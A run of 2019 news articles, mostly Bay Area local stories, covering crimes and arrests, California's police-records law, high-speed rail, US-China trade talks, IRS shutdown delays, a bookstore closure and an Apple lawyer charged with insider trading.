The man was treated at the scene by medics and then released, according to fire district spokesman Steve Hill.



About 75 percent of the building was involved in the blaze when crews arrived on scene in the 1500 block of Walnut Avenue just after the fire was reported at 12:30 a.m.



In order to fight the fire, crews had to truck the water in from the nearest fire hydrant roughly 1,200 feet away. Hill said that's not uncommon in certain parts of the county.







A network of non-profit organizations in Sonoma County has received more than a half-million dollars to provide low-cost legal assistance this year to the county's immigrant communities in danger of deportation.



The Sonoma County Secure Families Fund, hosted by the Community Foundation of Sonoma County, was created in 2017 to raise $2 million for low-cost, high-quality immigration legal services over the next three years.



The Fund awarded $550,000 to the non-profit organizations' Sonoma Secure Families Collaborative for its first year of service.



The Collaborative has three immigration attorneys and one experienced paralegal that provide pro bono deportation defense services.







A Lyft driver has pleaded no contest to felony sexual battery against a woman he was taking from San Francisco to Palo Alto in November, San Mateo County prosecutors said Tuesday.



Eddy Palacios, a 33-year-old South San Francisco resident, entered the plea Monday to a case that was reported early on the morning of Nov. 25, according to the district attorney's office.



Palacios faces up to a year in county jail after reaching a plea deal Tuesday with the court. Prosecutors had sought a maximum of two years in state prison in the case, which will return to court on April 12 for sentencing.





Copyright  2019 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited.ALAMEDA (BCN)



Remains of a U.S. Navy aircraft carrier with ties to the San Francisco Bay Area were discovered recently just east of the Solomon Islands, officials with a Bay Area museum announced Tuesday.



According to the USS Hornet Sea, Air and Space Museum in Alameda, the USS Hornet (CV-8), was discovered by the research vessel Petrel, which the Paul Allen Foundation sponsored.



Hornet (CV-8) was a predecessor to the ship and museum in Alameda, which is the USS Hornet (CV-12).



Hornet (CV-8) left San Francisco Bay on April 2, 1942, with orders to attack the Japanese mainland in what was called the Doolittle Raid, led by Army Lt. Col. James Doolittle.



Officials with the museum and the U.S. Navy said the raid was the first airborne attack on the Japanese mainland and was a morale booster for Allied troops in WWII.



Almost three months later, Hornet (CV-8) was involved in the Battle of Midway, where Hornet (CV-8) and three other U.S. carriers sunk four Japanese carriers, according to the U.S. Navy. Some historians consider the battle the turning point in the war, according to museum officials.



Then on Oct. 26, 1942, during the Battle of the Santa Cruz Islands, Hornet (CV-8) received several direct strikes from enemy aircraft and sunk.



Hornet (CV-12) was built in honor of and as a tribute to Hornet (CV-8). Hornet (CV-12) was initially named USS Kearsage, but was renamed eight weeks after its keel was laid.



U.S. Navy officials said Hornet (CV-8) was discovered last month and lies 5,400 meters below the surface near the Solomon Islands in the South Pacific.





Copyright  2019 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited.SAN JOSE (BCN)



San Jose city officials are pushing for equitable access to technology through a $24 million fund that could bring internet access to low-income areas and ease a "digital divide" in the Silicon Valley over the next 10 years.



The Digital Inclusion Fund was approved in May 2018, and developed through feedback Mayor Sam Liccardo received from students struggling to meet technological demands at school.



The City Council is hoping to partner with the nonprofit California Emerging Technologies Fund to fundraise and implement an initial $1 million in grants.



"This is the great challenge of our generation, the growing divide between rich and poor," Liccardo said. "Nowhere is this more palpable ... than here in Silicon Valley."



Linda Mimila, a senior at Lincoln High School, said she struggled through her junior year without a computer at home. She would often go to school an hour early to complete assignments at the media center, since virtually all of her homework required online submittal.



"It's super hard to write an essay on your phone," said Mimila, who was able to borrow a computer from her teacher this year.



She also found out about a computer science class at the high school, and said she's now considering majoring in computer science and minoring in criminal justice after graduating in June.



In addition to computer lab-style classes for students, the initiative will include training parents on internet safety and technology use, as well as expanded internet access in homes for 95,000 "un-connected" residents.



Liccardo and a majority of council members have already thrown their support behind the program. If funding is approved, the program could also bring larger Wi-Fi hotspots at public locations, expansion of the middle and elementary school School2Home system, increased library computer checkouts and possible partnerships and matching funds with local technology companies.



Broadband companies who have paid "small cell usage fees" to update infrastructure in San Jose will partially support the initiative, along with the city's partner California Emerging Technologies Fund, which was developed as a public benefit from corporate mergers involving AT&T and Verizon in 2005.



The companies agreed to contribute millions of dollars to advance broadband services in underserved areas of California, and San Jose Chief Innovation Officer Shireen Santosham said this includes several urban areas in the city.



"One misconception is that ... the digital divide only exists in rural parts of the country, but in fact ... low-income neighborhoods get less investment in Internet infrastructure." Santosham said.



The city has offered incentives for companies to install infrastructure in low-income areas by offering bulk pricing to expand coverage, Santosham said, but this is only an initial step toward equity.



"Just because you have coverage, doesn't mean you have access -- because most low-income families cannot afford to pay for those plans," she said.





Copyright  2019 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited.MILLBRAE (BCN)



Two teens were arrested Monday in Millbrae during a San Mateo County Sheriff's Office effort to suppress auto burglaries, sheriff's officials said Tuesday.



Sheriff's deputies spotted two people peering into cars with flashlights around 8:05 p.m. Monday in the parking lot of The Kitchen restaurant at 279 El Camino Real when the pair ran to a vehicle parked in an alley.



Sheriff's officials said a unit stopped the vehicle as it was traveling away and detained a 17-year-old boy from San Francisco and a 14-year-old boy from South San Francisco.



Inside the vehicle were burglary tools, marijuana packaged for sale and broken glass, according to sheriff's officials.



The two teens were arrested on suspicion of attempted auto burglary, conspiracy, possession of marijuana for sale and possession of burglary tools.



They were booked into the Youth Services Center.



Anyone with information about the case is asked to call the sheriff's detective bureau at (650) 599-1536 or the anonymous tip line at (800) 547-2700.





Copyright  2019 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited.MOUNTAIN VIEW (BCN)



Two men have been arrested in connection with a carjacking earlier this month that left a teenager with a gunshot wound to his leg, Mountain View police said Wednesday.



The carjacking happened at about 11:30 a.m. on Feb. 2 and police responded to Bay and Centre streets to find a 17-year-old boy had been shot.



Police said he was an employee at a nearby America's Tires business, and told officers a man had walked up to him, told him he wanted a car the victim was standing near, then shot him in the leg.



The man and another suspect then allegedly stole a blue Subaru sedan and fled from the area.



The boy was taken to a hospital with a tourniquet applied to his leg and was released a few days later. Police said he is recovering from his injuries at home.



On Feb. 3, Contra Costa County sheriff's deputies observed the stolen Subaru in Richmond and tried to conduct a traffic stop. The driver tried to escape but crashed the car, and 21-year-old Eduardo DeJesus Flores was taken into custody.



Marcos Mendoza Alcalde, 29, who is suspected of shooting the victim, was arrested while leaving his apartment in Richmond on Monday. Richmond police assisted in the arrest and Alcalde was taken into custody after hailing a ride-hailing vehicle.



Police said the ride-hailing vehicle was safely pulled over and Alcalde was detained by police. Both suspects were arrested on suspicion of carjacking, assault with a deadly weapon and conspiracy to commit a crime. Alcalde also has an outstanding warrant, according to Mountain View police.



There are no other suspects in the shooting and carjacking, police said.





Copyright  2019 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited.LOS ANGELES  After her son, Eric, was killed by police in Los Angeles two years ago when officers mistook a water pistol he was holding for a real gun, Valerie Rivera channeled her grief into activism. She joined Black Lives Matter and lobbied the state Legislature to open to the public Californias records on police shootings, which have long been hidden.

She wanted, she recently wrote in a court filing, to understand what really happened, and to advocate for change so that officers do not kill civilians, and are held accountable when they do, so that other families do not have to suffer as mine has.

Her efforts paid off. Under a new state law, Rivera and other members of the public can now request to see the investigative records, prying open for the first time Californias strict secrecy laws regarding police shootings and serious misconduct by officers.

But, just as activists and state lawmakers have sought to bring decades-old investigative records to light, police unions have tried to jam the door shut. While police departments have said they would comply, police unions up and down the state, including in Los Angeles, have filed lawsuits challenging the law, arguing that it should not be applied retroactively. The union lawsuits have succeeded in some jurisdictions in getting temporary stays from the court.

The debate has opened up old wounds in a state that has been plagued by a high rate of killings by police officers, and it has showed how contentious and complex criminal justice reform can be, even after reform measures are passed.

California may be one of the most liberal states in the nation  its politics have shifted substantially in recent decades amid sweeping demographic changes  but paradoxes abound, especially when it comes to police matters and criminal justice. The state has the largest death row in the country, and voters, in a ballot measure, have demanded that the state speed up executions.

It also has one of the highest rates of police shootings in the country. Though there is no central database to track police shootings nationally, an analysis of data from 2013 to 2017 by Mapping Police Violence, an advocacy group that maintains a database of police killings, ranked the Bakersfield Police Department as the fifth deadliest in the country.

Now, at least on paper, California has gone from one of the most secretive states on police shootings to one of the most open. New York, by contrast, strictly limits the amount of information on police shootings that is made public.

Some other states, including Alabama, Georgia and Florida, are more transparent than California, according to research by the American Civil Liberties Union. These states allow open access to a broad range of police files, including disciplinary records of individual officers, and not just those concerned with police shootings.

Other states are more limited. In places like Texas, Kentucky and Utah, police disciplinary records are available only after the department has determined that an officer violated policies, according to the ACLU.

In California, many people are hoping that the new records release law  which applies to videos, investigative reports and disciplinary records of officers involved in shootings  will help stop more killings and provide some comfort for victims families.

Its part of the healing process, said Cephus Johnson, the uncle of Oscar Grant, who was killed by police on a train platform in 2009 in Oakland. He said he is seeking the records in his nephews case, which led to wide-scale protests and, later, a Hollywood movie, so that he can see the disciplinary records of the officers involved.

This is ultimately about healing, he added.

Still, police unions have argued that the law should be applied only to shootings that take place after it was enacted. They say that making all past records public would overwhelm the police with work.

And in a letter to state Sen. Nancy Skinner, the author of the law, the chief of the Los Angeles Police Department, Michel Moore, wrote that if the law were retroactive, the workload on the men and women of the LAPD could prove to be well beyond any reasonable expectation given the sheer volume of personnel complaints and uses of force maintained in antiquated or archaic formats.

In addition to officer-involved shootings, the law covers records related to allegations of sexual misconduct and instances of lying by police officers. Unions have argued that it is unfair to now make public disciplinary records from the past, when officers were guaranteed confidentiality.

Heres the deal, said Jacob Kalinski, a lawyer whose firm is representing many police unions in California that are challenging the law. When you have employment decisions that you are making, that are based on one sort of set of circumstances, the idea is, if you change the circumstances, youre going to be in a position where you might have made different decisions.

Kalinski added, We think this is unfair from a labor perspective.

Even as the union lawsuits proceed, some departments have complied with records requests, revealing instances of alleged sexual misconduct by officers that in the past were not publicly reported.

In one case, a police officer in the Bay Area was fired last year for allegedly offering to help a woman who had been charged with DUI in exchange for sex. In another, records revealed that two officers in Watsonville, in the Central Coast, had been fired for having sex with civilians while on duty.

Stephon Clark, an unarmed black man, was shot and killed last year by police officers in Sacramento who mistook his cellphone for a gun. The case touched off days of protests in Californias capital and captured the attention of the nation, becoming another touchpoint in the countrys emotional reckoning with issues of police of race.

For us, my brother is gone, said Stevante Clark, Stephons older brother. Knowing anything new isnt going to bring him back.

Still, he said, the law is important to him, to prevent this from happening again  the cops have been lying since day one.

Earl Ofari Hutchinson, an activist in Los Angeles, was outraged when he learned that the city of Inglewood had begun destroying old records before the law takes effect, which was first reported by The Los Angeles Times. The records tell a story, Hutchinson said.

He said the new law underscored the distance between Californias image as a liberal bastion and the reality in the state when it comes to police issues.

Why did California feel the need to pass a law like this in the first place? Hutchinson said. Why was secrecy in police records such a big deal for so long in California? Why, in such a liberal place?

Inglewood has faced scrutiny for a number of police shootings, including a series in 2008, and Hutchinson has worked with families to try to get answers about them.

In Long Beach, the police department had been purging internal-affairs records before the law went into effect, raising concerns that the department was trying to skirt the law. But the department said the purging was unrelated to the law and that the city had retained police records, and all records for current employees, for the last 17 years.

Erik Herzog, a commander in the Long Beach department, said the new law posed problems.

Our union is concerned about it, he said. Im concerned about it. You are talking about thousands and thousands and thousands of pages of documents that will take us years to comply with. And we dont have years to comply with that. So that means I have to reallocate where Im taking people, from other jobs, from the street or from detectives, and get them to start working on these cases.

Peter Bibring, a senior staff attorney for the civil liberties union in Los Angeles who focuses on police matters, said the intent of the law was to apply to all records in the possession of police departments, not just for those generated after the law went into effect Jan. 1.

Several news outlets in California have come together to file lawsuits in a bid to protect the law in the face of opposition from the unions. The ACLU, meanwhile, has intervened in the police-union lawsuits and has been working with families to obtain records.

They want to find out more as part of the healing process and in some cases they also want to uncover something that will lead to accountability, or some change in the system, Bibring said. So many of the families that have loved ones killed by the police end up working hard to make sure that theres justice for their loved on and that other families dont have to go through what they went through.

California has some of the strictest laws protecting officers from being held accountable for shootings in criminal court. According to the ACLU, between 2005 and 2016, there were almost 1,200 police-involved killings in California and in only two cases were the killings determined to be unjustified.

The police records law is one piece of a broader effort to bring more accountability to police in California.

Activists have also been pushing to loosen the standards to make it easier for criminal charges to be filed against officers for shootings. Lawmakers in Sacramento are expected to take up a new bill with that purpose. The current legal standard to justify shootings by officers requires only that they be deemed objectively reasonable.

Californias law was written in 1872, and hasnt been amended since, Bibring said. It was a law literally written from when this place was the wild Wild West.

This article originally appeared in The New York Times.In his State of the State address on Tuesday, Gov. Gavin Newsom all but ended plans for a high-speed rail line connecting San Francisco to Los Angeles.

There simply isnt a path to get from Sacramento to San Diego, let alone from San Francisco to L.A, Newsom said. I wish there were.

Instead, the governor will focus on the portion of the line that is already in the works  Merced to Bakersfield.

So what happens to the empty concrete box below the Transbay Transit Center, intended for that S.F. to L.A. connection? Supporters say they will push forward with getting the funding to make the project a reality, but others, like Newsom, are focused on slightly more practical  if still giant  projects.

Our responsibility has always been connecting Santa Clara County to downtown San Francisco by bringing Caltrain to the Transbay terminal, and we will continue to do that with zeal, Supervisor Aaron Peskin, who chairs the county Transportation Authority board, tells reporter Rachel Swan.

Otherwise, we will have built the most expensive bus terminal in the history of humankind.

Read more here.

Top of the News

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 Caltrans cleanup: The Bay Areas water quality board is ordering Caltrans to clean up their act or start paying fines, saying it has failed to make progress against the heaps of garbage regularly strewn across roadways that end up in the Bay. The U.S. Environmental Protection Agency has urged the water board to make Caltrans clean up garbage over a wider area, sooner.

 Ferry and waffles: After a long wait, a streamlined version of Tanya Hollands Brown Sugar Kitchen has opened inside San Franciscos Ferry building. Food writer Justin Phillips has five things you need to know about the new soul food outpost.

 Biz chief: The San Francisco Chamber of Commerce has a new chief executive - Rodney Fong. Hes the third head of the business organization in three years after his predecessor resigned abruptly in October. Fong has served on the port and planning commissions and has deep ties to the city  hes a fourth-generation San Franciscan.

 Cloudy year: Solar jobs in California were down 11 percent in 2018, the second year of decline. Solar jobs declined around the country  largely attributed to uncertainty caused by tariffs imposed by the Trump administration  but California was particularly hard hit. Solar advocates and experts arent worried yet about the long term.

 Bill forward: A congressional deal to avert another shutdown is still fragile but it does not include $9 billion that California is seeking for wildfire relief. California politicians tell reporter Tal Kopan theyre confident that will become part of a separate disaster relief bill. More: Joshua Tree and Death Valley national parks would grow under a Senate-passed bill.

 Special tales: The first two episodes of Armistead Maupins Tales of the City, the Netflix sequel to the newspaper and TV serial, will make its world premiere at the San Francisco International Film Festival in April. Maupin and its star, Laura Linney, will be on hand for a post-screening interview.

 Repair on pause: Among the first things to be affected by Tuesday-night-into-Wednesday mornings intense atmospheric river storm is the repair to the Richmond-San Rafael Bridge, which has now been delayed a week. More: We are expecting flooding from this pretty much everywhere, a National Weather Service meteorologist says.

 Harper watch: Giants pitcher Madison Bumgarner has joined the chorus of Giants who lobbied for Bryce Harper to join the team, saying he would be a huge addition. But we can still win without him, Bumgarner said.

 Double shift: How does a theater actor afford living in the Bay Area? On the Datebook podcast, theater critic Lily Janiak interviews actor Caleb Cabrera about recent stage roles  and his second line of work  pedicab driver.

 Donation transparency: San Francisco Supervisor Gordon Mar has introduced a measure that would put campaign finance disclosure rules up for a vote in the November ballot  and it has eight co-sponsors.

The Kicker

Jessica Christian/The Chronicle

The neighborhood around it has changed, but inside the Lone Palm, it might as well be the 90s  or even the 40s. Past the awning with its neon sign, through the black curtain, youll find a safe haven from the real world and a veritable playground for anachronists.

In this weeks Drink Up column, Emma Silvers profiles the Mission District bar that shows what it takes to keep a bar thats classic but not mired in nostalgia.

Bay Briefing is written by Taylor Kate Brown and sent to readers email inboxes on weekday mornings. Sign up for the newsletter here and contact Brown at taylor.brown@sfchronicle.comIts a scientific coup to warm the heart of any superhero fan: the first documented sightings of a black panther in Africa in nearly 100 years, not far from where Marvel places the fictional setting of its Oscar-nominated Black Panther.

A team from the Institute for Conservation Research of the San Diego Zoo Global and the Loisaba Conservancy in Kenya confirmed the existence of black leopards  as the animals are also known  in Laikipia County, an area north of Nairobi, Kenyas capital.

It is certain black panthers have been there all along, but good footage that could confirm it has always been absent until now, Nicholas Pilfold, a biologist at the San Diego institute, said in an Instagram post Tuesday.

Black panthers are uncommon; only about 11 percent of leopards globally are black, he added. But black panthers in Africa are extremely rare.

The researchers findings were published in the African Journal of Ecology in January.

The leopard, scientific name Panthera pardus, is more commonly found with a black coat in tropical and humid Southeast Asia. But, apparently, melanism  the cause of the dark coloring  can also be displayed in semiarid climates, like that of Laikipia, according to the paper.

There have been a few reported observations of this species in Africa, but, until now, only one had been confirmed, in Addis Ababa, the capital of Ethiopia, in 1909.

After unconfirmed reports of a black leopard in Laikipia County, the research team installed eight cameras around the Laikipia Wilderness Camp  focusing on available water sources, such as swimming pools and natural springs, and on animal trails.

From February to April 2018, five of the cameras recorded footage of a young female black leopard. She appeared alone in four nighttime videos  drinking water from artificial water sources or carrying remains of her prey  but in the only daytime video, she was following an adult female leopard with normal markings.

Unconfirmed observations from September 2017 from the two leopards together suggest that this nonmelanistic female might be the mother of the black leopard, according to the paper, which added that in previous sightings, the black leopard was smaller in size, and in closer proximity to her mother.

Word of the camera observations brought forth another high-quality image of a black leopard from the Ol Ari Nyiro Conservancy, also in Laikipia, which was taken in May 2007.

Collectively, these images are the first reported in nearly 100 years that confirm the existence of black leopard in Africa, and the first in Kenya, the paper said.

The dark coloration of the melanistic leopards coat is attributed to a recessive gene that causes the loss of the normal function. Despite being called black, they are usually very dark brown and have the same pattern of spots as other leopards, according to the Out of Africa Park in Arizona, which hosts two black leopards, named Enoch and Silhouette.

But there are also theories suggesting that melanism could have an environmental factor.

Melanism is hypothesized to be an adaptation to environments in which a dark coloration provides camouflage from predators or prey, Pilfold said in the paper.

Until recently, leopards  reclusive, adaptable, and territorial  were considered to exist in relative abundance.

But a study published in May 2016 suggested that leopards had lost 75 percent of their range since 1750. They were then classified as vulnerable on the Red List of threatened species of the International Union for Conservation of Nature.

Three subspecies of the leopard are classified as critically endangered and two others as endangered.

I think the biggest threat to the leopard on a global scale is that its been just under the radar, Philipp Henschel, lion program survey coordinator for Panthera, a global wild cat conservation organization, told The Times in 2016.

Nobody really cared about the leopard, he said, because everybody assumed they were really abundant and widespread.

This article originally appeared in The New York TimesThere were some in Brentwood who felt that a literary event at the Brentwood Community Center on Monday night was inappropriate for kids. Why? The public reading in Contra Costa County featured a drag queen reading children's books to, well, children.

But the 25 or so people who showed up to protest mostly peacefully outside the venue were well outnumbered by the 500 people Contra Costa County Libraries estimated to have attended the event. It was more people than the organization expected to attend to hear Bella Aldama read to young guests, a spokeswoman for the group told SFGATE, but it was nevertheless "a rousing success."

"The Contra Costa County Library is proud of the event," spokeswoman Brooke Converse said. "Our mission is about bringing people and ideas together. We want to be representative and inclusive of everyone in our very diverse county and community."

RELATED: Where to see drag shows in the Bay Area

Not everyone in the community was onboard with Story Hour. When East County Today, a local East Bay site, initially posted news of the event, they fielded hundreds of Facebook comments from users, ranging from angry to excited.

Aldama, as KTVU reported at the time, said that facing such a reaction ahead of what would be her third story time reading was "very surprising."

"I never received this response in the other events,'' she said to KTVU. "I have never seen so many negative comments in one day."

Drag Queen Story Hour originated at the San Francisco Public Library, and has inspired similar events around California and the country. Locally, similar readings have already taken place in El Cerrito and Concord. It's unclear why this particular gathering incited such strong responses across the spectrum.

RELATED: Nancy Pelosi says politicians could learn from drag queens, Trump 'lip syncs' his policies

As Converse said before Monday's event, most of the feedback had been positive.

"The biggest surprise has been how much positive feedback we've received," she said. "For every negative comment, there have been multiple comments in support."

The negative comments, however, were enough to prompt Brentwood police to staff the reading with six uniformed officers. But as it turned out, the event ran perfectly smoothly. Aldama, for her part, brushed off the controversy in a statement to East County Today at the event.

"There is nothing wrong with reading a children's book that display diversity and different gender identities," Aldama said. "We are all different, and everyone deserves respect and love. We are not trying to teach or brainwash anybody. Drag is just a form of gender expression."

Converse tells SFGATE that there's not another date in the works just yet for the next Drag Queen Story Time as branches plan their own schedules, but some of the other locations have "expressed an interest in hosting a similar program."

Alyssa Pereira is an SFGATE staff writer. Email her at apereira@sfchronicle.com or find her on Twitter at @alyspereira.

BEIJING  When China joined the World Trade Organization, the global fraternity of cross-border commerce, it promised to open itself up to foreigners in lucrative businesses like banking, telecommunications and electronic-payment processing.

More than 17 years later, Chinas telecommunications industry remains firmly under government control. Only recently did China say it would allow foreign companies to own their own bank businesses there. And after nearly two decades of legal fights, China is still reviewing the applications of Visa and Mastercard to get into the countrys payment-processing market.

The broken promises hang over Robert Lighthizer, the U.S. trade representative, and Treasury Secretary Steven Mnuchin as they arrive in Beijing for two days of talks to end a trade war between the United States and China. They face a March 2 deadline, after which President Trump has threatened to increase by more than double the tariffs the administration imposed last autumn on $200 billion a year on Chinese imports.

A top priority for Lighthizer and Mnuchin, according to several people with detailed knowledge of the negotiations, is to ensure that any deal they strike has teeth if Beijing does not live up to its obligations.

American negotiators want to create a mechanism that would automatically raise tariffs on Chinese goods if its exports to the United States keep rising, said three of the people, who spoke on the condition of anonymity because the talks are not public.

Even a temporary deal that simply papers over the two countries differences could benefit both the Chinese government, which is contending with slowing economic growth, and Trump, who wants to be able to declare a victory after a string of political defeats. But the talks face big obstacles, including how to enforce Chinas earlier promises and whether Chinese officials will make further pledges on issues like protecting intellectual property, halting forced transfers of U.S. technology and limiting government subsidies to exporters.

At this point, a full-scale accord seems unlikely, said Mark Wu, a Harvard Law School professor and former U.S. trade official.

Trump said Tuesday that he would consider delaying the March 2 deadline if the negotiations are going well.

If were close to a deal where we think we can make a real deal, I could see myself letting them slide for a little while, the president said during remarks in the Oval Office. Trump added that he wanted any agreement to be a real deal, not just a deal that looks cosmetically good for a year.

But he appeared to acknowledge that not all of the outstanding issues were likely to be resolved by negotiators and that he and President Xi Jinping of China might need to be involved before a final agreement is reached.

At some point I expect to meet with Xi, Trump said, noting that the two leaders could potentially make the parts of the deal that the group is unable to make.

The American negotiators will probably get a frosty greeting in Beijing.

Already, a stopgap deal reached by Trump and Xi on Dec. 1 in Buenos Aires has proved to be unpopular within the Chinese government, people with a detailed knowledge of Chinese economic policy deliberations said. The agreement essentially allowed Trump to maintain tariffs he had ordered on Chinese goods while China stepped back from many of its retaliatory moves.

The internal displeasure in Beijing may be contributing to the lack of progress in trade talks since then. United States trade officials noted at a White House briefing on Jan. 31 that negotiators have not produced a draft framework of what a final agreement might look like.

Still, given the Chinese governments track record for failing to keep its trade promises, American negotiators feel as though any deal must have some sort of mechanism that will swiftly inflict higher tariffs on China if it does not comply.

The mechanism they have in mind is one Beijing has fought vociferously in the past.

When China joined the World Trade Organization in 2001, the international body approved a rule that allowed member countries to raise tariffs if increases in Chinese exports disrupted their domestic markets. Many countries were loath to use it, given Chinas growing economic might.

President George W. Bush turned down four chances to invoke the rule, because his advisers feared doing so might set off a full-blown trade war.

President Barack Obama used it once, in 2009, to impose tariffs on Chinese-made tires. China answered by placing tariffs on American cars, keeping the duties in place until 2013, and poultry imports, which Beijing lifted only last year. The WTO sided with the United States, although the Obama administration was criticized at home over the added cost to consumers.

The tariff landscape has changed since then. The right to employ such provisions against China under WTO rules expired in 2013, theoretically making any retaliatory moves by China now more defensible on the world stage.

The Trump administrations negotiators want to be able to use the maneuver anyway, according to the people familiar with the talks. That would include easing the current legal requirement, under section 421 of the 1974 Trade Act, that the government prove other countries exports are hurting U.S. industries before the president can impose tariffs.

Despite the seemingly wide gulf between the countries, some experts believe there could be substantial progress this week if the two sides agree on how to enforce a deal.

Keith Bradsher is a New York Times writer.WASHINGTON  Disruptions from last months partial government shutdown caused a shocking deterioration in the IRS telephone help for taxpayers in the first week of the filing season, the agencys watchdog said in a report released Tuesday.

In the week of Jan. 28, the official start of the tax season, Internal Revenue Service staffers answered only 48 percent of calls seeking help in filing returns, with an average wait time of 17 minutes, the report from the office of the National Taxpayer Advocate said. That compares with 86 percent of calls answered, and an average wait of 4 minutes, at the same time last year.

In addition, 93 percent of taxpayers who phoned during the last week in January to arrange installment tax payments were unable to speak with an assistant.

The difference between the two years for levels of service and wait times for phone lines ... is shocking, the advocate, Nina Olson, wrote in her annual report to Congress. The IRS will be facing tough decisions in light of the shutdowns impact.

The agency is reviewing the report and is continuing to assess the impact of the shutdown on our various operations, the IRS said Tuesday.

The IRS is committed to continue making improvements across our information technology, tax enforcement and taxpayer service operations.

The IRS successfully reopened operations following the shutdown, and the agency is seeing a good start to the 2019 filing season, the statement said.

The report flagged other problems at an agency that was already straining, even before the shutdown, from the burden of a complex new tax law, inadequate funding and antiquated computer systems. The IRS workforce faced a huge backlog  including 5 million pieces of mail to process when it returned to full strength Jan. 28 after the 35-day partial shutdown, which had furloughed most of its employees.

During the shutdown, the Trump administration made money available to pay hundreds of billions in refunds and ordered nearly 60 percent of the IRS workforce back to work without pay to handle tax returns and questions. Yet fewer than half the recalled employees had returned to their jobs by the time the shutdown ended, according to congressional and government aides.

The disruption raised the possibility of delayed processing of returns and refunds  an annual check that about three-quarters of U.S. taxpayers typically count on. Lower-income households, especially, depend on refunds as their biggest cash infusion of the year.

The IRS has said that when taxpayers file electronically and use direct deposit to their bank accounts, roughly 9 out of 10 refunds will continue to be issued this year in fewer than 21 days.

People are already angry about smaller-than-expected refunds. President Trump had pledged that under his tax-cut law, families would receive an average $4,000 tax cut. Most taxpayers did receive a tax cut. But because of adjustment to payroll withholding, many worker are finding that their refund is less than they had anticipated.

The average refund paid in the first week of the filing season was $1,865  down 8.4 percent from $2,035 in the same week last year  according to the IRS. During the early part of the shutdown, no IRS employees were authorized to answer the phones, issue refunds, establish installment agreements with taxpayers or review pending agency actions.

Marcy Gordon is an Associated Press writer.Update: Half Price Books in Concord will close permanently on Sunday, May 5, spokesperson Emily Bruce told SFGATE.

"We are still hopeful we'll find a new location in the area, but it won't be before we close in Downtown Concord," she said.

The store will host a send-off reception on Sunday from 3 p.m. to 6 p.m. for locals to share their favorite memories of time spent at the store.

End of update.

Half Price Books is one of those rare chain book stores that doesn't feel like a chain. The books and records are half-priced because many of them are used and well-worn. "We buy and sell everything ever printed or recorded (except yesterday's newspaper)" is the Dallas-based company's motto.

There are 125 Half Price Books stores in 17 states across the country, but each shop has its own attitude, dictated by the rotating selection of pre-owned literature populating the shelves. The Bay Area is home to four Half Price Books stores, a number that will dwindle to three in the spring with the closure of the Concord store. The store hopes to reopen in a nearby location.

"Our landlord for our Concord store informed us that with the level of interest in the property, they decided not to renew Half Price Books at our current location," said Emily Bruce, Half Price Books' public relations manager.

"As of now, we are planning to close in early May to give us time to move our product and store fixtures by the end of the month when our lease officially ends." She said the store does not have any closing sales planned at this time.

Bruce said the company is actively searching for a new location and has sent multiple letters of intent to spaces nearby.

Opened in 2001, the Half Price Books at 1935 Mt. Diablo Street, across from Todos Santos Plaza, has served as a fixture in the commercial district of Concord for nearly twenty years. The closure follows a rash of bookstore exits in Contra Costa County, where high rents and competition from Amazon mean book selling is a tricky business.

According to the Concord Communities Alliance, the bookstore will be replaced with a Bank of America. The real estate developer who owns the property did not immediately respond to a request to confirm the bank's purported takeover of the space.

Community members responded with outrage on a Facebook post announcing the closure. Some of the hundreds of commenters called for "books not bucks" and deemed the store an integral piece of the downtown area.

"This store is really the only reason I visit downtown Concord," wrote Courtney Mastella-O'Brien.

"What a shame," said Elizabeth Chafee. "This is a business that donates boxes of books to any teacher who asks. As a teacher with a limited budget, I appreciate any business willing to lend a hand."

Half Price Books has Bay Area stores in Berkeley, Dublin and Fremont.

Read Michelle Robertson's latest stories and send her news tips at mrobertson@sfchronicle.com.

Start receiving breaking news emails on wildfires, civil emergencies, riots, national breaking news, Amber Alerts, weather emergencies, and other critical events with the SFGATE breaking news email. Click here to make sure you get the news.A former senior lawyer at Apple who oversaw the companys insider trading policies was himself accused of insider trading by federal prosecutors and securities regulators in complaints made public Wednesday.

The Securities and Exchange Commission said in a suit that Gene Levoff, a former senior director of corporate law and a corporate secretary at Apple, repeatedly traded on inside information from 2011 to 2016.

In a related action, federal prosecutors in New Jersey charged Levoff, who lives in San Carlos, with one count of securities fraud in a criminal complaint.

The SEC said Levoff violated insider trading laws three times from 2015 to 2016. On one occasion, Levoff sold roughly $10 million of Apple stock  nearly his entire holdings  from his personal brokerage account four days before the Cupertino company announced quarterly earnings July 21, 2015.

The companys stock price fell 4 percent after the earnings report, in which Apple revealed it had fallen short of analysts estimates for iPhone sales.

Levoff had already seen a draft of the announcement and avoided about $345,000 in losses by dumping his Apple shares before the official announcement, the SEC said. But since the end of 2016, Apples share price has increased 47 percent.

Kevin Marino, Levoffs lawyer and a principal at Marino, Tortorella & Boyle, said he is reviewing the allegations against Levoff and looks forward to defending him.

Gene Levoff was a trusted Apple executive for many years, and has never before been accused of wrongdoing of any kind, Marino said in a statement.

According to the SEC, Levoff oversaw Apples corporate law group of 20 to 30 lawyers and paralegals. He was responsible for Apples compliance with securities laws and providing legal advice for the companys SEC filings and financial reporting. He also served as a corporate officer of every major Apple subsidiary.

As a member of the core group of senior Apple insiders entrusted with material nonpublic information, and as an attorney with a sophisticated understanding of securities and corporate law, Levoff knew, or was reckless in not knowing, that he had a duty of trust and confidence to the company and its shareholders, according to the complaint filed in U.S. District Court in New Jersey.

The SEC said he was placed on leave in July and fired in September.

After being contacted by authorities last summer, we conducted a thorough investigation with the help of outside legal experts, which resulted in termination, an Apple spokesman, Josh Rosenstock, said in a statement.

In an indication of how senior Levoff was at the company, he was part of Apples disclosure committee  a group that helps Apple CEO Tim Cook and Chief Financial Officer Luca Maestri determine whether the company is meeting its responsibilities for providing accurate and timely disclosures to investors.

At the time of his departure, Levoff reported to Katherine Adams, Apples general counsel. She replaced Bruce Sewell, who served as the companys top lawyer for eight years until he stepped down in 2017.

Levoff was responsible for ensuring compliance with Apples insider trading rules, including sending emails to individuals who were subject to trading restrictions around Apples quarterly earnings announcements. Apples insider trading policy said any individual with material, nonpublic information about the company was not allowed to trade the stock until 60 hours after that information had been announced.

